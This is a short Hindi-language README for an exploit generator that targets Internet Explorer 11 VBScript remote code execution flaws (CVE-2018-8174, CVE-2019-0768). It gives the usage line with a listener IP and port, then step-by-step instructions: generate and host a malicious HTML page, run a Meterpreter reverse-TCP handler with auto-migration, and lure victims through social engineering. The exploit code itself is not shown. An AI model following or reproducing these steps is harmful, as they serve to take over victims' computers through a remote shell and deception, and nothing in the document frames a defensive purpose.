IE11 VBScript शोषण

CVE-2018-8174 और CVE-2019-0768 के लिए शोषण जनरेटर (IE11 में VBScript निष्पादन के माध्यम से RCE)

पूर्वापेक्षा

• Metasploit
• msfvenom

उपयोग

python ie11_vbscript.py [Listener IP] [Listener Port]

निर्देश

1. इस स्क्रिप्ट का उपयोग करके "exploit.html" उत्पन्न करें
2. अपने सर्वर पर html फ़ाइल होस्ट करें
3. Metasploit में windows/meterpreter/reverse_tcp के साथ एक हैंडलर सेटअप करें
4. अपने हैंडलर में, AutoRunScript को "post/windows/manage/migrate" पर सेट करें
5. पेलोड url के साथ सोशल इंजीनियरिंग हमला करें

श्रेय

https://www.exploit-db.com/exploits/44741

CVEs

https://nvd.nist.gov/vuln/detail/CVE-2018-8174 https://nvd.nist.gov/vuln/detail/CVE-2019-0768